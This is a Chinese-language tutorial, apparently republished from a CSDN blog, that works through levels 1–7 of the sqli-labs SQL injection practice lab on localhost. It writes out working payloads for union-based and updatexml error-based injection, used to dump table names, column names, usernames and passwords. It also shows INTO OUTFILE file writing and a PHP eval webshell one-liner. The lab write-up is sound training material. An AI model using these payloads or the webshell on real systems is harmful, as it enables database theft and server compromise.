ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

Sqlilabs超详细通过教程(持续更新)

2021-11-02 23:03:30  阅读:590  来源: 互联网

标签:教程 Sqlilabs Less 0x7e 更新 labs sqli --+ id


一到四关主要是参数被包装的问题。一般用于尝试的语句

Ps:--+可以用#替换,url 提交过程中 Url 编码后的#为%23

and1=2--+

'and1=2--+

"and1=2--+

)and1=2--+

')and1=2--+

")and1=2--+

"))and1=2--+

图中显示的sql语句是我为了方便理解,修改了源代码显示出的

第一关:

页面正常,考虑是否有字符注入,先加单引号

 

可以看到提示,存在' '包装,我们加上--+

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' --+

页面正常,可以判断存在单引号的注入问题。

接下来order by猜解字段

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 order by 4--+

当字段到4是回显错误,说明一共有3个字段。然后显示可显字段

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3--+

 

可显字段为2和3.然后查找数据库

http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,database(),3--+

 

之后就简单了,常规流程爆数据。

补充一点点小知识,方便理解sql语句

  1. information_schema:表示所有信息,包括库、表、列

  2. information_schema.tables:记录所有表名信息的表

  3. information_schema.columns:记录所有列名信息的表

  4. table_schema:数据库的名称

  5. table_name:表名

  6. column_name:列名

  7. group_concat():显示所有查询到的数据

查询表名:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

查询列名:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+(不加and table_name='users'会显示所有表的列名,不利于查找我们想要的列名)

查询数据:http://127.0.0.1:8080/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+(这里采用limit 0,1,因为用group_concat()一次爆出多条数据,不方便我们查看相对应的用户名和密码,自己对比一下就知道了)

第二关

第二关为数字类型,直接加 and 1=2,就可以看到页面显示错误,后面流程跟第一关一样

第三关

直接加 and 1=2 ,界面显示正常。加 ' 以后页面错误

看错误提示,应该加 ') ,可以看下源码

 

?id=1') and 1=2 --+ 页面错误

第四关

这里我们输入' '' ') '') 等等都不对,然后尝试",这里是双引号,不是两个单引号,页面错误

存在"" 和 ) 的包装

?id=1") and 1=2 --+

第五关

根据提示输入?id=1 后,页面显示如下

这里是一个新的类型,前1-4关是有回显的,第5关明显没有回显。这里我选用updatexml报错注入。当然还有其他注入方式,这里就不说了。

查询数据库:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+

这里的0x7e就是~,所以数据库名就是 security

爆表:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

查询users表的列名:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

查询username:http://127.0.0.1:8080/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+

第六关

第六关跟第五关的区别就是 对参数id 做了 " "处理

http://127.0.0.1:8080/sqli-labs-master/Less-6/?id=1"

所以只需要把第五关的' 改成 " 就可以了

第七关

第七关标题为” Dump into outfile“ 意思是利用文件导入的方式,不论注入方式是什么,我们都要先判断注入点。

http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=1')) and 1=2 --+

这里是((''))包装

我是知识点:

load_file()读取文件

前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL

into outfile()/dumpfile()

其中dumpfile()只能读出一行数据,适用于二进制文件

写入文件:http://127.0.0.1:8080/sqli-labs-master/Less-7/?id=-1')) union select 1,database(),3 into outfile 'E:\zjt\phpstudy2018\PHPTutorial\WWW\sqli-labs-master\Less-7\aleilei.php'--+

这里的文件是在执行语句后创建的,在后续如果要写入其他webshell,需要删除掉改文件或者建新的文件

或者直接写入木马

union select 1,2,'<?php @eval($_post[“mima”])?>'

然后用菜刀等 webshell 管理工具连接即可,这里不演示此过程了(因为我自己也没试过)

---------------------------------------------------------------

之后会更新后续

标签:教程,Sqlilabs,Less,0x7e,更新,labs,sqli,--+,id
来源: https://blog.csdn.net/weixin_51143375/article/details/121111169

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有